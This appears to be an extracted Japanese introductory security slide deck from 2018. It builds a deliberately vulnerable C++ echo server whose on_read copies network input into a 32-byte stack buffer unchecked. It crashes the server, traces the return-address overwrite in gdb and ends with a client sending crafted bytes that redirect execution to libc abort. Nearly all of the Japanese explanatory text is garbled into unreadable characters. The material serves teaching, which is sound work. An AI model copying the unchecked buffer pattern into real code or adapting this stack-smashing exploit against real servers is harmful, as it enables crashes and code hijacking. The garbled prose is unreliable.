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セキュリティ入門

Fadis
April 12, 2018

 セキュリティ入門

Fadis

April 12, 2018
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  1. ηΩϡϦςΟೖ໳
    NAOMASA MATSUBAYASHI

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  2. ηΩϡϦςΟͷ໨ඪ

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  3. େࣄͳσʔλ
    αʔό
    ળྑͳϢʔβ
    ѱҙ͋ΔϢʔβ
    େࣄͳσʔλΛकΔ࠷΋؆୯Ͱ࣮֬ͳํ๏͸
    Ұ੾ͷΞΫηεΛड͚෇͚ͳ͍ࣄͰ͋Δ

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  4. େࣄͳσʔλ
    ળྑͳϢʔβ
    ѱҙ͋ΔϢʔβ
    αʔό
    ͔͠͠αʔό͸αʔϏεΛఏڙ͢ΔͨΊʹ
    ϢʔβͷཁٻΛड͚෇͚ͳ͚Ε͹ͳΒͳ͍

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  5. େࣄͳσʔλ
    ળྑͳϢʔβ
    ѱҙ͋ΔϢʔβ
    αʔό
    ҙਤͨ͠௨Γʹ࢖͏ϢʔβΛड͚෇͚ͳ͕Β
    ҙਤ͠ͳ͍࢖͍ํΛ͢ΔϢʔβΛڋ൱͢Δඞཁ͕͋Δ

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  6. ༏ΕͨηΩϡϦςΟͱ͸
    ҙਤͨ͠࢖͍ํͱ
    ҙਤ͠ͳ͍࢖͍ํΛ
    ΑΓਖ਼֬ʹࣝผ͢Δ͜ͱ͕Ͱ͖Δࣄ

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  7. ҙਤ͠ͳ͍࢖͍ํͱ͸

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  8. #include
    #include
    #include
    namespace asio = boost::asio;
    using boost::asio::ip::tcp;
    using sock_p = std::shared_ptr< tcp::socket >;
    using buf_p = std::shared_ptr< asio::streambuf >;
    using error_type = boost::system::error_code;
    struct session : public std::enable_shared_from_this< session > {
    session( asio::io_service &io ) : sock( io ) {}
    void read() {
    boost::asio::async_read_until( sock, buf, '\n', boost::bind(
    &session::check_on_read, shared_from_this(),
    asio::placeholders::bytes_transferred, asio::placeholders::error
    ) );
    }
    void write( const char *data, size_t len ) {
    boost::asio::async_write( sock, boost::asio::buffer( data, len ), boost::bind(
    &session::check_on_write, shared_from_this(), asio::placeholders::error
    ) );
    }
    tcp::socket &get_socket() { return sock; }
    private:
    void check_on_read( size_t len, const error_type& e ) {
    if( e && e != boost::asio::error::eof ) return;
    on_read( len );
    }
    void on_read( size_t len ) {
    char received[ 32 ];
    std::memcpy( received, asio::buffer_cast( buf.data() ), len );
    buf.consume( len );
    https://wandbox.org/permlink/eucMJp4DkeLhnGlq
    όάͷ͋ΔΤίʔαʔό

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  9. buf.consume( len );
    received[ len ] = '\0';
    write( received, len );
    }
    void check_on_write( const error_type& e ) {
    if( e && e != boost::asio::error::eof ) return;
    on_write();
    }
    void on_write() { read(); }
    tcp::socket sock;
    asio::streambuf buf;
    };
    struct server {
    server( asio::io_service &io_ ) : io( io_ ), acc( io, tcp::endpoint( tcp::v4(), 20000 ) ) { accept(); }
    void accept() {
    std::shared_ptr< session > s( new session( io ) );
    acc.async_accept( s->get_socket(), boost::bind( &server::on_accept, this, s, asio::placeholders::error ) );
    }
    private:
    void on_accept( const std::shared_ptr< session > &s, const error_type& e ) {
    if( !e ) s->read();
    accept();
    }
    asio::io_service &io;
    boost::asio::ip::tcp::acceptor acc;
    };
    int main() {
    asio::io_service io;
    server s( io );
    io.run();
    } https://wandbox.org/permlink/eucMJp4DkeLhnGlq
    όάͷ͋ΔΤίʔαʔό

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  10. }
    void on_read( size_t len ) {
    char received[ 32 ];
    std::memcpy( received, asio::buffer_cast( buf.data() ), len );
    buf.consume( len );
    received[ len ] = '\0';
    write( received, len );
    }
    void check_on_write( const error_type& e ) {
    if( e && e != boost::asio::error::eof ) return;
    on_write();
    }
    void on_write() { read(); }
    tcp::socket sock;
    asio::streambuf buf;
    };
    struct server {
    server( asio::io_service &io_ ) : io( io_ ), acc( io, tcp::endpoint( tcp::v4(), 20000 ) ) { accept(); }
    void accept() {
    std::shared_ptr< session > s( new session( io ) );
    acc.async_accept( s->get_socket(), boost::bind( &server::on_accept, this, s, asio::placeholders::error ) );
    }
    private:
    void on_accept( const std::shared_ptr< session > &s, const error_type& e ) {
    if( !e ) s->read();
    accept();
    }
    asio::io_service &io;
    boost::asio::ip::tcp::acceptor acc;
    };
    int main() {
    asio::io_service io;
    https://wandbox.org/permlink/eucMJp4DkeLhnGlq
    ݻఆ௕ ௨৴Ͱड͚औͬͨσʔλ͕
    ݻఆ௕ͷ഑ྻʹऩ·ΔαΠζͱ͸ݶΒͳ͍
    ϦϞʔτ͔ΒόοϑΝΦʔόʔϥϯΛىͤ͜Δ
    όάͷ͋ΔΤίʔαʔό
    void on_read( size_t len ) {
    char received[ 32 ];
    std::memcpy( received, asio::buffer_cast( buf.data() ), len );
    buf.consume( len );
    received[ len ] = '\0';
    write( received, len );
    }

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  11. $ ./tiny_server
    $ telnet localhost 20000
    Trying ::1...
    Trying 127.0.0.1...
    Connected to localhost.
    Escape character is '^]'.
    Hello, World!
    Hello, World!
    ૹ৴ͨ͠σʔλ όΠτ

    ΫϥΠΞϯτ αʔό
    ड৴ͨ͠σʔλ όΠτ

    receivedͷαΠζʹऩ·͍ͬͯΔ৔߹ɺҙਤͨ͠ಈ͖Λ͍ͯ͠Δ

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  12. $ telnet localhost 20000
    Trying ::1...
    Trying 127.0.0.1...
    Connected to localhost.
    Escape character is '^]'.
    Hello, World! I would like to
    crash this server. Blah blah
    blah...
    Hello, World! I would like to
    crash this server. Blah blah
    blah...
    Connection closed by foreign
    host.
    ΫϥΠΞϯτ αʔό
    $ ./tiny_server
    Segmentation fault
    αʔό͕ࢮΜͩ

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  13. ߈ܸऀ͕αʔϏεΛར༻ෆೳʹͰ͖ΔࣄΛ
    Denial of Service߈ܸ
    ུͯ͠DoS߈ܸ͕Մೳͱݴ͏

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  14. ͱ͜ΖͰ͖ͬ͞ͷαʔό͸
    ԿނࢮΜͩ

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  15. $ gdb -q tiny_server
    Reading symbols from tiny_server...done.
    (gdb) disas session::on_read
    Dump of assembler code for function session::on_read(unsigned long):

    0x000000000040a6c3 <+69>: callq 0x403340
    0x000000000040a6c8 <+74>: mov -0x38(%rbp),%rax

    (gdb) b *0x40a6c3
    Breakpoint 1 at 0x40a6c3: file tiny_server.cpp, line 38.
    (gdb) b *0x40a6c8
    Breakpoint 2 at 0x40a6c8: file tiny_server.cpp, line 39.
    (gdb) run
    Starting program: /home/fadis/tiny_server
    [Thread debugging using libthread_db enabled]
    Using host libthread_db library "/lib64/libthread_db.so.1".
    Breakpoint 1, 0x000000000040a6c3 in session::on_read (this=0x632ef0, len=68) at
    tiny_server.cpp:38
    38 std::memcpy( received, asio::buffer_cast( buf.data() ), len );
    (gdb) p &received
    $1 = (char (*)[32]) 0x7fffffffd2c0
    (gdb) x/40wx 0x7fffffffd2c0
    0x7fffffffd2c0: 0xffffd380 0x00007fff 0x0040fe53 0x00000000
    0x7fffffffd2d0: 0x006331b0 0x00000000 0x00000044 0x00000000
    σόοΨͰαʔό͕ࢮΜͩॠؒΛݟͯΈΑ͏
    Ͳ͜ʹ໰୊͕͋Δ͔͸طʹΘ͔͍ͬͯΔͷͰ
    όοϑΝΦʔόʔϥϯΛҾ͖ى͜͢memcpyͷલޙͰ
    ϒϨʔΫϙΠϯτΛு͓ͬͯ͘

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  16. Starting program: /home/fadis/tiny_server
    [Thread debugging using libthread_db enabled]
    Using host libthread_db library "/lib64/libthread_db.so.1".
    Breakpoint 1, 0x000000000040a6c3 in session::on_read (this=0x632ef0, len=68) at
    tiny_server.cpp:38
    38 std::memcpy( received, asio::buffer_cast( buf.data() ), len );
    (gdb) p &received
    $1 = (char (*)[32]) 0x7fffffffd2c0
    (gdb) x/40wx 0x7fffffffd2c0
    0x7fffffffd2c0: 0xffffd380 0x00007fff 0x0040fe53 0x00000000
    0x7fffffffd2d0: 0x006331b0 0x00000000 0x00000044 0x00000000
    0x7fffffffd2e0: 0x006331b0 0x00000000 0x00000044 0x00000000
    0x7fffffffd2f0: 0xffffd340 0x00007fff 0x0040a674 0x00000000
    0x7fffffffd300: 0x00000043 0x00000000 0xffffd5d0 0x00007fff
    0x7fffffffd310: 0x00000044 0x00000000 0x00632ef0 0x00000000
    0x7fffffffd320: 0xffffd340 0x00007fff 0x00412898 0x00000000
    0x7fffffffd330: 0xffffd5c0 0x00007fff 0x00000044 0x00000000
    0x7fffffffd340: 0xffffd380 0x00007fff 0x00411cdc 0x00000000
    0x7fffffffd350: 0xffffd7b0 0x00007fff 0xffffd5d0 0x00007fff
    (gdb) c
    Continuing.
    Breakpoint 2, session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:39
    39 buf.consume( len );
    (gdb) x/40wx 0x7fffffffd2c0
    0x7fffffffd2c0: 0x6c6c6548 0x57202c6f 0x646c726f 0x20492021
    0x7fffffffd2d0: 0x6c756f77 0x696c2064 0x7420656b 0x7263206f
    0x7fffffffd2e0: 0x20687361 0x73696874 0x72657320 0x2e726576
    ΫϥΠΞϯτ͔Βಧ͍ͨϝοηʔδΛ
    receivedʹॻ͖ࠐΉ௚લͷ
    received͔Β256όΠτͷϝϞϦͷঢ়ଶ
    receivedͷͨΊʹ֬อ͞Ε͍ͯΔ32όΠτ

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  17. 0x7fffffffd320: 0xffffd340 0x00007fff 0x00412898 0x00000000
    0x7fffffffd330: 0xffffd5c0 0x00007fff 0x00000044 0x00000000
    0x7fffffffd340: 0xffffd380 0x00007fff 0x00411cdc 0x00000000
    0x7fffffffd350: 0xffffd7b0 0x00007fff 0xffffd5d0 0x00007fff
    (gdb) c
    Continuing.
    Breakpoint 2, session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:39
    39 buf.consume( len );
    (gdb) x/40wx 0x7fffffffd2c0
    0x7fffffffd2c0: 0x6c6c6548 0x57202c6f 0x646c726f 0x20492021
    0x7fffffffd2d0: 0x6c756f77 0x696c2064 0x7420656b 0x7263206f
    0x7fffffffd2e0: 0x20687361 0x73696874 0x72657320 0x2e726576
    0x7fffffffd2f0: 0x616c4220 0x6c622068 0x62206861 0x2e68616c
    0x7fffffffd300: 0x0a0d2e2e 0x00000000 0xffffd5d0 0x00007fff
    0x7fffffffd310: 0x00000044 0x00000000 0x00632ef0 0x00000000
    0x7fffffffd320: 0xffffd340 0x00007fff 0x00412898 0x00000000
    0x7fffffffd330: 0xffffd5c0 0x00007fff 0x00000044 0x00000000
    0x7fffffffd340: 0xffffd380 0x00007fff 0x00411cdc 0x00000000
    0x7fffffffd350: 0xffffd7b0 0x00007fff 0xffffd5d0 0x00007fff
    (gdb) i r rsp rbp
    rsp 0x7fffffffd2b0 0x7fffffffd2b0
    rbp 0x7fffffffd2f0 0x7fffffffd2f0
    (gdb) c
    Continuing.
    Program received signal SIGSEGV, Segmentation fault.
    0x000000000040a706 in session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:42
    42 }
    ΫϥΠΞϯτ͔Βಧ͍ͨϝοηʔδΛ
    receivedʹॻ͖ࠐΜͩ௚ޙͷ
    received͔Β256όΠτͷϝϞϦͷঢ়ଶ
    receivedͷͨΊʹ֬อ͞Ε͍ͯΔ32όΠτ

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  18. 0x7fffffffd320: 0xffffd340 0x00007fff 0x00412898 0x00000000
    0x7fffffffd330: 0xffffd5c0 0x00007fff 0x00000044 0x00000000
    0x7fffffffd340: 0xffffd380 0x00007fff 0x00411cdc 0x00000000
    0x7fffffffd350: 0xffffd7b0 0x00007fff 0xffffd5d0 0x00007fff
    (gdb) c
    Continuing.
    Breakpoint 2, session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:39
    39 buf.consume( len );
    (gdb) x/40wx 0x7fffffffd2c0
    0x7fffffffd2c0: 0x6c6c6548 0x57202c6f 0x646c726f 0x20492021
    0x7fffffffd2d0: 0x6c756f77 0x696c2064 0x7420656b 0x7263206f
    0x7fffffffd2e0: 0x20687361 0x73696874 0x72657320 0x2e726576
    0x7fffffffd2f0: 0x616c4220 0x6c622068 0x62206861 0x2e68616c
    0x7fffffffd300: 0x0a0d2e2e 0x00000000 0xffffd5d0 0x00007fff
    0x7fffffffd310: 0x00000044 0x00000000 0x00632ef0 0x00000000
    0x7fffffffd320: 0xffffd340 0x00007fff 0x00412898 0x00000000
    0x7fffffffd330: 0xffffd5c0 0x00007fff 0x00000044 0x00000000
    0x7fffffffd340: 0xffffd380 0x00007fff 0x00411cdc 0x00000000
    0x7fffffffd350: 0xffffd7b0 0x00007fff 0xffffd5d0 0x00007fff
    (gdb) i r rsp rbp
    rsp 0x7fffffffd2b0 0x7fffffffd2b0
    rbp 0x7fffffffd2f0 0x7fffffffd2f0
    (gdb) c
    Continuing.
    Program received signal SIGSEGV, Segmentation fault.
    0x000000000040a706 in session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:42
    42 }
    ͜ͷҐஔʹվߦจࣈ͕ݟ͑ΔͨΊ
    ഑ྻͷऴ୺Λ௒͑ͯ
    ͜͜·Ͱॻ͖ࠐΈ͕ߦΘΕͨ͜ͱ͕Θ͔Δ
    receivedͷͨΊʹ֬อ͞Ε͍ͯΔ32όΠτ

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  19. (gdb) i r rsp rbp
    rsp 0x7fffffffd2b0 0x7fffffffd2b0
    rbp 0x7fffffffd2f0 0x7fffffffd2f0
    (gdb) c
    Continuing.
    Program received signal SIGSEGV, Segmentation fault.
    0x000000000040a706 in session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:42
    42 }
    (gdb) backtrace
    #0 0x000000000040a706 in session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:42
    #1 0x2e68616c62206861 in ?? ()
    #2 0x000000000a0d2e2e in ?? ()
    #3 0x00007fffffffd5d0 in ?? ()
    #4 0x0000000000000044 in ?? ()
    #5 0x0000000000632ef0 in ?? ()
    #6 0x00007fffffffd340 in ?? ()
    #7 0x0000000000412898 in boost::get_pointer (
    p=)
    at /usr/include/boost/get_pointer.hpp:69
    Backtrace stopped: Cannot access memory at address 0x6c622068616c4228
    (gdb) disas

    => 0x000000000040a706 <+136>: retq
    End of assembler dump.
    (gdb)
    Կॲ
    ࣮ߦΛଓ͚Δͱon_read͔Βreturnͨ͠ॴͰࢮ͵
    όοΫτϨʔεΛݟΔͱon_read͕ฦΖ͏ͱͨ͠
    ݺͼग़͠ݩͷؔ਺ͷΞυϨε͕͓͔͍͠

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  20. 0x7fffffffd350: 0xffffd7b0 0x00007fff 0xffffd5d0 0x00007fff
    (gdb) c
    Continuing.
    Breakpoint 2, session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:39
    39 buf.consume( len );
    (gdb) x/40wx 0x7fffffffd2c0
    0x7fffffffd2c0: 0x6c6c6548 0x57202c6f 0x646c726f 0x20492021
    0x7fffffffd2d0: 0x6c756f77 0x696c2064 0x7420656b 0x7263206f
    0x7fffffffd2e0: 0x20687361 0x73696874 0x72657320 0x2e726576
    0x7fffffffd2f0: 0x616c4220 0x6c622068 0x62206861 0x2e68616c
    0x7fffffffd300: 0x0a0d2e2e 0x00000000 0xffffd5d0 0x00007fff
    0x7fffffffd310: 0x00000044 0x00000000 0x00632ef0 0x00000000
    0x7fffffffd320: 0xffffd340 0x00007fff 0x00412898 0x00000000
    0x7fffffffd330: 0xffffd5c0 0x00007fff 0x00000044 0x00000000
    0x7fffffffd340: 0xffffd380 0x00007fff 0x00411cdc 0x00000000
    0x7fffffffd350: 0xffffd7b0 0x00007fff 0xffffd5d0 0x00007fff
    (gdb) i r rsp rbp
    rsp 0x7fffffffd2b0 0x7fffffffd2b0
    rbp 0x7fffffffd2f0 0x7fffffffd2f0
    (gdb) c
    Continuing.
    Program received signal SIGSEGV, Segmentation fault.
    0x000000000040a706 in session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:42
    42 }
    (gdb) backtrace
    #0 0x000000000040a706 in session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:42
    #1 0x2e68616c62206861 in ?? ()
    #2 0x000000000a0d2e2e in ?? ()
    ͜ͷΞυϨε͸
    ͖ͬ͞ॻ͖ࠐΜͩϝοηʔδͷҰ෦ͩ

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  21. $16ͷߏ଄
    CPU
    rax rbx
    rcx rdx
    rsi rdi
    rbp rsp
    r8 r9
    r10 r11
    r12 r13
    r14 r15
    ࠓ೔ͷIntelϓϩηοαʹ͸
    ܭࢉʹ࢖͏஋ΛೖΕ͓ͯ͘ശ(Ϩδελ)͕
    16ݸඋΘ͍ͬͯΔ
    16ݸͰ͸଍Γͳ͘ͳͬͨΒ
    ࠓ͙͍͢Βͳ͍஋ΛϝϞϦʹҠͯ͠ϨδελΛۭ͚Δ

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  22. ελοΫ
    CPU
    rax rbx
    rcx rdx
    rsi rdi
    rbp rsp
    r8 r9
    r10 r11
    r12 r13
    r14 r15
    Ϩδελ͔Βୀආͨ͠஋͕ੵ·Ε͍ͯ͘
    ୀආͨ͠஋͕࠶ͼඞཁʹͳͬͨΒ
    ্͔ΒऔΓग़͍ͯ͘͠
    rdi͔ΒҠͨ͠஋
    rax͔ΒҠͨ͠஋
    rbp͔ΒҠͨ͠஋
    rdi͔ΒҠͨ͠஋
    ͜ͷΑ͏ʹ࢖ΘΕΔϝϞϦྖҬΛ
    ελοΫͱݺͿ

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  23. ελοΫ
    int f( int x, int y ) {
    int i;
    i = x * y;
    return i;
    }
    ͜ͷiͷΑ͏ͳϩʔΧϧม਺͸
    ελοΫͷதʹஔ͔Ε͍ͯΔ
    ଞͷม਺౳
    ଞͷม਺౳
    ଞͷม਺౳
    i
    ϩʔΧϧม਺͕࡞ΒΕΔͱελοΫʹ஋͕ੵ·Ε
    είʔϓΛൈ͚ΔͱελοΫͷ஋͕ഁغ͞ΕΔ

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  24. int f( int i, int j ) {
    return i + j;
    }
    int g() {
    return f( 2, 3 );
    }
    ؔ਺ݺͼग़͠Λߦ͏ͱcallq໋ྩ͕ੜ੒͞ΕΔ
    return͢Δͱretq໋ྩ͕ੜ੒͞ΕΔ
    00000000004004b6 :
    4004b6: 55 push %rbp
    4004b7: 48 89 e5 mov %rsp,%rbp
    4004ba: 89 7d fc mov %edi,-0x4(%rbp)
    4004bd: 89 75 f8 mov %esi,-0x8(%rbp)
    4004c0: 8b 55 fc mov -0x4(%rbp),%edx
    4004c3: 8b 45 f8 mov -0x8(%rbp),%eax
    4004c6: 01 d0 add %edx,%eax
    4004c8: 5d pop %rbp
    4004c9: c3 retq
    00000000004004ca :
    4004ca: 55 push %rbp
    4004cb: 48 89 e5 mov %rsp,%rbp
    4004ce: be 03 00 00 00 mov $0x3,%esi
    4004d3: bf 02 00 00 00 mov $0x2,%edi
    4004d8: e8 d9 ff ff ff callq 4004b6
    4004dd: 5d pop %rbp
    4004de: c3 retq
    callq͸ελοΫʹ
    callqͷ࣍ͷΞυϨεΛੵΜͰ
    Ҿ਺Ͱࢦఆ͞ΕͨΞυϨεʹඈͿ
    retq͸ελοΫͷઌ಄ʹੵ·Εͨ
    ΞυϨεʹඈΜͰ
    ελοΫͷઌ಄ͷ஋ΛࣺͯΔ
    ͜ͷ૊Έ߹ΘͤͰ
    ؔ਺Λൈ͚ͨΒݩͷ৔ॴʹ໭Δ
    ͕࣮ݱ͞Ε͍ͯΔ

    View full-size slide

  25. ؔ਺fͷม਺
    ؔ਺fͷม਺
    ؔ਺fͷม਺
    ؔ਺g͕ऴΘͬͨΒ໭ΔҐஔ
    ؔ਺gͷม਺
    ؔ਺gͷม਺
    ؔ਺h͕ऴΘͬͨΒ໭ΔҐஔ
    ؔ਺hͷม਺
    ؔ਺hͷม਺
    ؔ਺hͷม਺
    ؔ਺f͕ؔ਺gΛݺΜͰ
    ͦͷதͰؔ਺h͕ݺ͹Ε͍ͯΔ࣌ͷελοΫ
    ࣮ߦதͷؔ਺ʹͱͬͯͷ
    ελοΫͷઌ಄ͱ຤ඌͷҐஔ͸$16ͷ
    %rspϨδελͱ%rbpϨδελʹ
    ه࿥͞Ε͍ͯΔ

    View full-size slide

  26. ؔ਺fͷม਺
    ؔ਺fͷม਺
    ؔ਺fͷม਺
    ؔ਺g͕ऴΘͬͨΒ໭ΔҐஔ
    ؔ਺gͷม਺
    ؔ਺gͷม਺
    ؔ਺h͕ऴΘͬͨΒ໭ΔҐஔ
    ؔ਺hͷม਺
    ؔ਺hͷม਺
    ؔ਺hͷม਺
    ؔ਺͸callq͞ΕͨΒ·ͣ
    ݱࡏͷ%rbpΛελοΫʹੵΜͰ
    %rbpΛ%rspʹ͢Δ
    ͭ·Γݺͼग़͠ݩͷؔ਺ͷελοΫͷઌ಄Λ
    ͜Ε͔Β࣮ߦ͢Δؔ਺ͷελοΫͷ຤ඌʹ͢Δ

    ؔ਺fͷSCQ
    ؔ਺gͷSCQ
    ؔ਺͔Βretq͢Δ௚લʹ
    %rbpΛελοΫͷઌ಄ͷ஋ʹͯ͠
    ελοΫͷઌ಄ͷ஋Λഁغ͢Δ

    View full-size slide

  27. 00000000004004b6 :
    4004b6: 55 push %rbp
    4004b7: 48 89 e5 mov %rsp,%rbp
    4004ba: 89 7d fc mov %edi,-0x4(%rbp)
    4004bd: 89 75 f8 mov %esi,-0x8(%rbp)
    4004c0: 8b 55 fc mov -0x4(%rbp),%edx
    4004c3: 8b 45 f8 mov -0x8(%rbp),%eax
    4004c6: 01 d0 add %edx,%eax
    4004c8: 5d pop %rbp
    4004c9: c3 retq
    00000000004004ca :
    4004ca: 55 push %rbp
    4004cb: 48 89 e5 mov %rsp,%rbp
    4004ce: be 03 00 00 00 mov $0x3,%esi
    4004d3: bf 02 00 00 00 mov $0x2,%edi
    4004d8: e8 d9 ff ff ff callq 4004b6
    4004dd: 5d pop %rbp
    4004de: c3 retq
    SCQΛελοΫʹੵΉ
    SCQΛSTQͷ஋ʹ͢Δ
    SCQΛελοΫͷ஋ʹ͢Δ
    ελοΫʹॻ͔ΕͨΞυϨεʹ໭Δ
    ͜ͷล͕ؔ਺ͷॲཧͷຊମ

    View full-size slide

  28. (gdb) run
    Starting program: /home/fadis/tiny_server
    [Thread debugging using libthread_db enabled]
    Using host libthread_db library "/lib64/libthread_db.so.1".
    Breakpoint 1, 0x000000000040a6c3 in session::on_read (this=0x632ef0, len=68) at
    tiny_server.cpp:38
    38 std::memcpy( received, asio::buffer_cast( buf.data() ), len );
    (gdb) p &received
    $1 = (char (*)[32]) 0x7fffffffd2c0
    (gdb) x/40wx 0x7fffffffd2c0
    0x7fffffffd2c0: 0xffffd380 0x00007fff 0x0040fe53 0x00000000
    0x7fffffffd2d0: 0x006331b0 0x00000000 0x00000044 0x00000000
    0x7fffffffd2e0: 0x006331b0 0x00000000 0x00000044 0x00000000
    0x7fffffffd2f0: 0xffffd340 0x00007fff 0x0040a674 0x00000000
    0x7fffffffd300: 0x00000043 0x00000000 0xffffd5d0 0x00007fff
    0x7fffffffd310: 0x00000044 0x00000000 0x00632ef0 0x00000000
    0x7fffffffd320: 0xffffd340 0x00007fff 0x00412898 0x00000000
    0x7fffffffd330: 0xffffd5c0 0x00007fff 0x00000044 0x00000000
    0x7fffffffd340: 0xffffd380 0x00007fff 0x00411cdc 0x00000000
    0x7fffffffd350: 0xffffd7b0 0x00007fff 0xffffd5d0 0x00007fff
    (gdb) c
    Continuing.
    Breakpoint 2, session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:39
    39 buf.consume( len );
    (gdb) x/40wx 0x7fffffffd2c0
    0x7fffffffd2c0: 0x6c6c6548 0x57202c6f 0x646c726f 0x20492021
    0x7fffffffd2d0: 0x6c756f77 0x696c2064 0x7420656b 0x7263206f
    ͔͜͜Β্͕
    on_readͷελοΫ
    (gdb) i r rsp rbp
    rsp 0x7fffffffd2b0 0x7fffffffd2b0
    rbp 0x7fffffffd2f0 0x7fffffffd2f0
    on_readʹுͬͨϒϨʔΫϙΠϯτͰͷ
    %rbpͱ%rspͷ஋
    on_readΛݺͼग़ͨؔ͠਺ͷ%rbp
    on_read͕returnͨ͠ࡍʹඈͿઌͷΞυϨε
    όοϑΝΦʔόʔϥϯલ

    View full-size slide

  29. 0x7fffffffd310: 0x00000044 0x00000000 0x00632ef0 0x00000000
    0x7fffffffd320: 0xffffd340 0x00007fff 0x00412898 0x00000000
    0x7fffffffd330: 0xffffd5c0 0x00007fff 0x00000044 0x00000000
    0x7fffffffd340: 0xffffd380 0x00007fff 0x00411cdc 0x00000000
    0x7fffffffd350: 0xffffd7b0 0x00007fff 0xffffd5d0 0x00007fff
    (gdb) c
    Continuing.
    Breakpoint 2, session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:39
    39 buf.consume( len );
    (gdb) x/40wx 0x7fffffffd2c0
    0x7fffffffd2c0: 0x6c6c6548 0x57202c6f 0x646c726f 0x20492021
    0x7fffffffd2d0: 0x6c756f77 0x696c2064 0x7420656b 0x7263206f
    0x7fffffffd2e0: 0x20687361 0x73696874 0x72657320 0x2e726576
    0x7fffffffd2f0: 0x616c4220 0x6c622068 0x62206861 0x2e68616c
    0x7fffffffd300: 0x0a0d2e2e 0x00000000 0xffffd5d0 0x00007fff
    0x7fffffffd310: 0x00000044 0x00000000 0x00632ef0 0x00000000
    0x7fffffffd320: 0xffffd340 0x00007fff 0x00412898 0x00000000
    0x7fffffffd330: 0xffffd5c0 0x00007fff 0x00000044 0x00000000
    0x7fffffffd340: 0xffffd380 0x00007fff 0x00411cdc 0x00000000
    0x7fffffffd350: 0xffffd7b0 0x00007fff 0xffffd5d0 0x00007fff
    (gdb) i r rsp rbp
    rsp 0x7fffffffd2b0 0x7fffffffd2b0
    rbp 0x7fffffffd2f0 0x7fffffffd2f0
    (gdb) c
    Continuing.
    Program received signal SIGSEGV, Segmentation fault.
    0x000000000040a706 in session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:42
    ͔͜͜Β্͕
    on_readͷελοΫ
    (gdb) i r rsp rbp
    rsp 0x7fffffffd2b0 0x7fffffffd2b0
    rbp 0x7fffffffd2f0 0x7fffffffd2f0
    on_readʹுͬͨϒϨʔΫϙΠϯτͰͷ
    %rbpͱ%rspͷ஋
    on_readΛݺͼग़ͨؔ͠਺ͷ%rbp
    on_read͕returnͨ͠ࡍʹඈͿઌͷΞυϨε
    όοϑΝΦʔόʔϥϯޙ
    returnΞυϨε͕ॻ͖׵Θͬͯ͠·ͬͨ

    View full-size slide

  30. #1 0x2e68616c62206861 in ?? ()
    #2 0x000000000a0d2e2e in ?? ()
    returnΞυϨε͕ॻ͖׵Θͬͨঢ়ଶͰretqͨ݁͠Ռ
    ΞυϨε͕ࢦ͢ઌͷϝϞϦʹΞΫηεͰ͖ͳ͔ͬͨҝ
    ൣғ֎ࢀরͰϓϩηε͕ఀࢭͨ͠
    όοϑΝΦʔόʔϥϯʹΑͬͯ
    ഑ྻreceivedͷઌʹஔ͍ͯ͋ͬͨ
    returnΞυϨε͕ॻ͖׵͑ΒΕͯ͠·ͬͨ

    View full-size slide

  31. ॻ͖׵͑ΒΕͨΞυϨε͕
    ΞΫηεՄೳͩͬͨΒ
    Կ͕ى͍ͬͯͨ͜

    View full-size slide

  32. #include
    #include
    int main() {
    namespace asio = boost::asio;
    using boost::asio::ip::tcp;
    asio::io_service io_service;
    tcp::socket socket(io_service);
    socket.connect( tcp::endpoint( asio::ip::address::from_string("127.0.0.1"), 20000 ) );
    std::vector< uint8_t > data {
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xb0, 0x31, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xe0, 0x24, 0xf6, 0xf6, 0xff, 0x7f, 0x00, 0x00,
    0x0d, 0x0a,
    };
    boost::system::error_code error;
    asio::write(socket, asio::buffer(data), error);
    return 0;
    if( !error ) {
    asio::streambuf receive_buffer;
    asio::read_until(socket, receive_buffer, '\n', error);
    std::cout << asio::buffer_cast(receive_buffer.data()) << std::endl;
    }
    }
    ࡉ޻ͨ͠σʔλΛૹΔΫϥΠΞϯτ

    View full-size slide

  33. #include
    #include
    int main() {
    namespace asio = boost::asio;
    using boost::asio::ip::tcp;
    asio::io_service io_service;
    tcp::socket socket(io_service);
    socket.connect( tcp::endpoint( asio::ip::address::from_string("127.0.0.1"), 20000 ) );
    std::vector< uint8_t > data {
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xb0, 0x31, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xe0, 0x24, 0xf6, 0xf6, 0xff, 0x7f, 0x00, 0x00,
    0x0d, 0x0a,
    };
    boost::system::error_code error;
    asio::write(socket, asio::buffer(data), error);
    return 0;
    if( !error ) {
    asio::streambuf receive_buffer;
    asio::read_until(socket, receive_buffer, '\n', error);
    std::cout << asio::buffer_cast(receive_buffer.data()) << std::endl;
    }
    }
    (gdb) disas abort
    Dump of assembler code for function abort:
    0x00007ffff6f624e0 <+0>: sub $0x128,%rsp
    0x00007ffff6f624e7 <+7>: mov %fs:0x10,%rdx

    Cݴޠඪ४ϥΠϒϥϦͷabortؔ਺ͷΞυϨε͕
    ελοΫͷreturnΞυϨεͷҐஔʹདྷΔΑ͏ʹ
